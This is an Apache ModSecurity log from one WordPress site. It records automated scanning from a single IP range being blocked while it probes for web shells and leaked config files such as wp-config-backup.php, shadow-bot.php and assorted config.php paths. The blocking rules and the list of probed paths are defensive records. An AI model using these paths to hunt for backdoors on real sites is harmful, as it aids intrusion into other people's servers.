[Thu May 07 15:27:12.790198 2026] [:error] [pid 15715:tid 15726] [client 98.159.43.147:43769] [client 98.159.43.147] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentytwentythree/patterns/"] [unique_id "afw-0CY4dZsLOttMkcdfYQAAAQk"]
[Thu May 07 15:27:12.987352 2026] [:error] [pid 15630:tid 15680] [client 98.159.43.163:36739] [client 98.159.43.163] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentytwentytwo/assets/fonts/inter/"] [unique_id "afw-0HTithRAi4821quP5wAAAJQ"]
[Thu May 07 15:27:13.185168 2026] [:error] [pid 15715:tid 15736] [client 98.159.43.136:39645] [client 98.159.43.136] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/yootheme/content-index.php"] [unique_id "afw-0SY4dZsLOttMkcdfYgAAARA"]
[Thu May 07 15:27:13.383282 2026] [:error] [pid 28098:tid 28108] [client 98.159.43.111:39173] [client 98.159.43.111] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/security.php"] [unique_id "afw-0cvhwfljlt8trSqK4gAAAEg"]
[Thu May 07 15:27:13.582715 2026] [:error] [pid 28098:tid 28115] [client 98.159.43.109:31743] [client 98.159.43.109] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/promobox/"] [unique_id "afw-0cvhwfljlt8trSqK4wAAAE8"]
[Thu May 07 15:27:13.782526 2026] [:error] [pid 15630:tid 15670] [client 98.159.43.150:60503] [client 98.159.43.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/wp-signup.php"] [unique_id "afw-0XTithRAi4821quP6AAAAIo"]
[Thu May 07 15:27:13.982489 2026] [:error] [pid 15630:tid 15667] [client 98.159.43.116:26987] [client 98.159.43.116] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/wp-config-backup.php"] [unique_id "afw-0XTithRAi4821quP6QAAAIc"]
[Thu May 07 15:27:14.182349 2026] [:error] [pid 15715:tid 15718] [client 98.159.43.117:50649] [client 98.159.43.117] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/master-blog/content-none-new-compiler.php"] [unique_id "afw-0iY4dZsLOttMkcdfYwAAAQE"]
[Thu May 07 15:27:14.381587 2026] [:error] [pid 15715:tid 15742] [client 98.159.43.144:64419] [client 98.159.43.144] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/villagio-child/admin.php"] [unique_id "afw-0iY4dZsLOttMkcdfZAAAARY"]
[Thu May 07 15:27:14.579284 2026] [:error] [pid 15715:tid 15734] [client 98.159.43.108:38417] [client 98.159.43.108] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentynineteen/sass/site/primary/"] [unique_id "afw-0iY4dZsLOttMkcdfZgAAAQ4"]
[Thu May 07 15:27:14.777245 2026] [:error] [pid 15715:tid 15717] [client 98.159.43.131:38437] [client 98.159.43.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/wp-content/themes/admin.php"] [unique_id "afw-0iY4dZsLOttMkcdfaAAAAQA"]
[Thu May 07 15:27:14.976044 2026] [:error] [pid 28098:tid 28124] [client 98.159.43.162:23339] [client 98.159.43.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/consultstreet/config.php"] [unique_id "afw-0svhwfljlt8trSqK5AAAAFg"]
[Thu May 07 15:27:15.175977 2026] [:error] [pid 15715:tid 15731] [client 98.159.43.108:50851] [client 98.159.43.108] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/blogger-buzz/welcome/js/"] [unique_id "afw-0yY4dZsLOttMkcdfaQAAAQs"]
[Thu May 07 15:27:15.376131 2026] [:error] [pid 15715:tid 15744] [client 98.159.43.110:33165] [client 98.159.43.110] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/mesmerize/page-templates/"] [unique_id "afw-0yY4dZsLOttMkcdfawAAARg"]
[Thu May 07 15:27:15.575643 2026] [:error] [pid 15715:tid 15723] [client 98.159.43.156:55409] [client 98.159.43.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/theme-check/theme-check.php"] [unique_id "afw-0yY4dZsLOttMkcdfbAAAAQY"]
[Thu May 07 15:27:15.777038 2026] [:error] [pid 15715:tid 15720] [client 98.159.43.129:47289] [client 98.159.43.129] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/hello-elementor/template-parts/"] [unique_id "afw-0yY4dZsLOttMkcdfbQAAAQM"]
[Thu May 07 15:27:15.975427 2026] [:error] [pid 15715:tid 15732] [client 98.159.43.162:62439] [client 98.159.43.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/Divi/includes/builder/post/taxonomy/"] [unique_id "afw-0yY4dZsLOttMkcdfbgAAAQw"]
[Thu May 07 15:27:16.178929 2026] [:error] [pid 15715:tid 15726] [client 98.159.43.106:51175] [client 98.159.43.106] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/system.php"] [unique_id "afw-1CY4dZsLOttMkcdfbwAAAQk"]
[Thu May 07 15:27:16.380351 2026] [:error] [pid 28098:tid 28118] [client 98.159.43.144:33043] [client 98.159.43.144] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/module.php"] [unique_id "afw-1Mvhwfljlt8trSqK5QAAAFI"]
[Thu May 07 15:27:16.577154 2026] [:error] [pid 15715:tid 15739] [client 98.159.43.145:62139] [client 98.159.43.145] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/test.php"] [unique_id "afw-1CY4dZsLOttMkcdfcQAAARM"]
[Thu May 07 15:27:16.779957 2026] [:error] [pid 15631:tid 15692] [client 98.159.43.133:32639] [client 98.159.43.133] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/blog-kit/inc/demo/demo-content/"] [unique_id "afw-1HvP1GkPUuuLfqUNJgAAAMU"]
[Thu May 07 15:27:16.981339 2026] [:error] [pid 15715:tid 15717] [client 98.159.43.109:47465] [client 98.159.43.109] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/flatsome/inc/"] [unique_id "afw-1CY4dZsLOttMkcdfcgAAAQA"]
[Thu May 07 15:27:17.182171 2026] [:error] [pid 15715:tid 15731] [client 98.159.43.115:35341] [client 98.159.43.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/config.php"] [unique_id "afw-1SY4dZsLOttMkcdfcwAAAQs"]
[Thu May 07 15:27:17.379637 2026] [:error] [pid 15715:tid 15744] [client 98.159.43.154:24655] [client 98.159.43.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/config.php"] [unique_id "afw-1SY4dZsLOttMkcdfdAAAARg"]
[Thu May 07 15:27:17.577904 2026] [:error] [pid 15715:tid 15723] [client 98.159.43.107:61829] [client 98.159.43.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/providers/config.php"] [unique_id "afw-1SY4dZsLOttMkcdfdQAAAQY"]
[Thu May 07 15:27:17.777265 2026] [:error] [pid 15715:tid 15720] [client 98.159.43.115:22399] [client 98.159.43.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/config.php"] [unique_id "afw-1SY4dZsLOttMkcdfdgAAAQM"]
[Thu May 07 15:27:17.976337 2026] [:error] [pid 15715:tid 15732] [client 98.159.43.135:29669] [client 98.159.43.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/bootstrap.php"] [unique_id "afw-1SY4dZsLOttMkcdfeAAAAQw"]
[Thu May 07 15:27:18.174749 2026] [:error] [pid 15715:tid 15726] [client 98.159.43.130:54833] [client 98.159.43.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/plugins/panel.php"] [unique_id "afw-1iY4dZsLOttMkcdfeQAAAQk"]
[Thu May 07 15:27:18.373108 2026] [:error] [pid 15715:tid 15725] [client 98.159.43.158:39961] [client 98.159.43.158] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/"] [unique_id "afw-1iY4dZsLOttMkcdfegAAAQg"]
[Thu May 07 15:27:18.573886 2026] [:error] [pid 15715:tid 15740] [client 98.159.43.155:51389] [client 98.159.43.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/class-wp-image.php"] [unique_id "afw-1iY4dZsLOttMkcdfewAAARQ"]
[Thu May 07 15:27:20.426080 2026] [:error] [pid 15630:tid 15679] [client 98.159.43.118:61023] [client 98.159.43.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-supports/chosen.php"] [unique_id "afw-2HTithRAi4821quP6wAAAJM"]
[Thu May 07 15:27:20.624049 2026] [:error] [pid 15630:tid 15662] [client 98.159.43.140:25695] [client 98.159.43.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/php-compat/shadow-bot.php"] [unique_id "afw-2HTithRAi4821quP7AAAAII"]
[Thu May 07 15:27:20.824145 2026] [:error] [pid 15630:tid 15675] [client 98.159.43.137:47533] [client 98.159.43.137] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/config.php"] [unique_id "afw-2HTithRAi4821quP7QAAAI8"]
[Thu May 07 15:27:21.025422 2026] [:error] [pid 15629:tid 15643] [client 98.159.43.114:31471] [client 98.159.43.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/config.php"] [unique_id "afw-2frIJCALdUrO43lX9gAAAAo"]
[Thu May 07 15:27:21.227714 2026] [:error] [pid 15631:tid 15701] [client 98.159.43.132:41315] [client 98.159.43.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/src/config.php"] [unique_id "afw-2XvP1GkPUuuLfqUNKAAAAM4"]
[Thu May 07 15:27:21.424729 2026] [:error] [pid 15629:tid 15650] [client 98.159.43.108:28461] [client 98.159.43.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/config.php"] [unique_id "afw-2frIJCALdUrO43lX9wAAABE"]
[Thu May 07 15:27:21.626207 2026] [:error] [pid 15629:tid 15639] [client 98.159.43.120:44971] [client 98.159.43.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/config.php"] [unique_id "afw-2frIJCALdUrO43lX-AAAAAY"]
[Thu May 07 15:27:21.827085 2026] [:error] [pid 15629:tid 15637] [client 98.159.43.138:34247] [client 98.159.43.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/config.php"] [unique_id "afw-2frIJCALdUrO43lX-gAAAAQ"]
[Thu May 07 15:27:22.028942 2026] [:error] [pid 28098:tid 28118] [client 98.159.43.154:31167] [client 98.159.43.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/interactivity-api/config.php"] [unique_id "afw-2svhwfljlt8trSqK7gAAAFI"]
[Thu May 07 15:27:22.239555 2026] [:error] [pid 28098:tid 28110] [client 98.159.43.149:56189] [client 98.159.43.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/config.php"] [unique_id "afw-2svhwfljlt8trSqK8AAAAEo"]
[Thu May 07 15:27:22.447279 2026] [:error] [pid 15629:tid 15656] [client 98.159.43.121:52551] [client 98.159.43.121] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/languages/config.php"] [unique_id "afw-2vrIJCALdUrO43lX-wAAABc"]
[Thu May 07 15:27:22.647400 2026] [:error] [pid 28098:tid 28103] [client 98.159.43.121:28727] [client 98.159.43.121] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/languages/plugins/config.php"] [unique_id "afw-2svhwfljlt8trSqK8wAAAEM"]
[Thu May 07 15:27:22.844586 2026] [:error] [pid 28098:tid 28105] [client 98.159.43.137:55957] [client 98.159.43.137] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/config.php"] [unique_id "afw-2svhwfljlt8trSqK9QAAAEU"]
[Thu May 07 15:27:23.041434 2026] [:error] [pid 28098:tid 28100] [client 98.159.43.147:32785] [client 98.159.43.147] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/cache/config.php"] [unique_id "afw-28vhwfljlt8trSqK9gAAAEA"]
[Thu May 07 15:27:23.238446 2026] [:error] [pid 28098:tid 28109] [client 98.159.43.154:33209] [client 98.159.43.154] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/wp-cloudflare-super-page-cache/config.php"] [unique_id "afw-28vhwfljlt8trSqK-AAAAEk"]
[Thu May 07 15:27:23.437350 2026] [:error] [pid 15630:tid 15665] [client 98.159.43.150:49825] [client 98.159.43.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/library/"] [unique_id "afw-23TithRAi4821quP8AAAAIU"]
[Thu May 07 15:27:23.645393 2026] [:error] [pid 28098:tid 28118] [client 98.159.43.121:59179] [client 98.159.43.121] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/abilities-api/"] [unique_id "afw-28vhwfljlt8trSqK-QAAAFI"]
[Thu May 07 15:27:23.853071 2026] [:error] [pid 28098:tid 28121] [client 98.159.43.141:42911] [client 98.159.43.141] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/languages/loco/"] [unique_id "afw-28vhwfljlt8trSqK-gAAAFU"]
[Thu May 07 15:27:24.055796 2026] [:error] [pid 15715:tid 15732] [client 98.159.43.116:56825] [client 98.159.43.116] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/upgrade-temp-backup/"] [unique_id "afw-3CY4dZsLOttMkcdfgQAAAQw"]
[Thu May 07 15:27:24.256013 2026] [:error] [pid 28098:tid 28101] [client 98.159.43.153:53371] [client 98.159.43.153] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/includes/class-theme-installer-skin-client.php"] [unique_id "afw-3Mvhwfljlt8trSqK-wAAAEE"]
[Thu May 07 15:27:24.455674 2026] [:error] [pid 28098:tid 28104] [client 98.159.43.115:25505] [client 98.159.43.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-recovery-mode-link-service-edit.php"] [unique_id "afw-3Mvhwfljlt8trSqK_AAAAEQ"]
[Thu May 07 15:27:24.656097 2026] [:error] [pid 28098:tid 28105] [client 98.159.43.122:46897] [client 98.159.43.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/user-new-reference.php"] [unique_id "afw-3Mvhwfljlt8trSqK_gAAAEU"]
[Thu May 07 15:27:24.854768 2026] [:error] [pid 28098:tid 28100] [client 98.159.43.117:36417] [client 98.159.43.117] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/vendor/stripe/stripe-php/lib/FinancialConnections/"] [unique_id "afw-3Mvhwfljlt8trSqLAAAAAEA"]
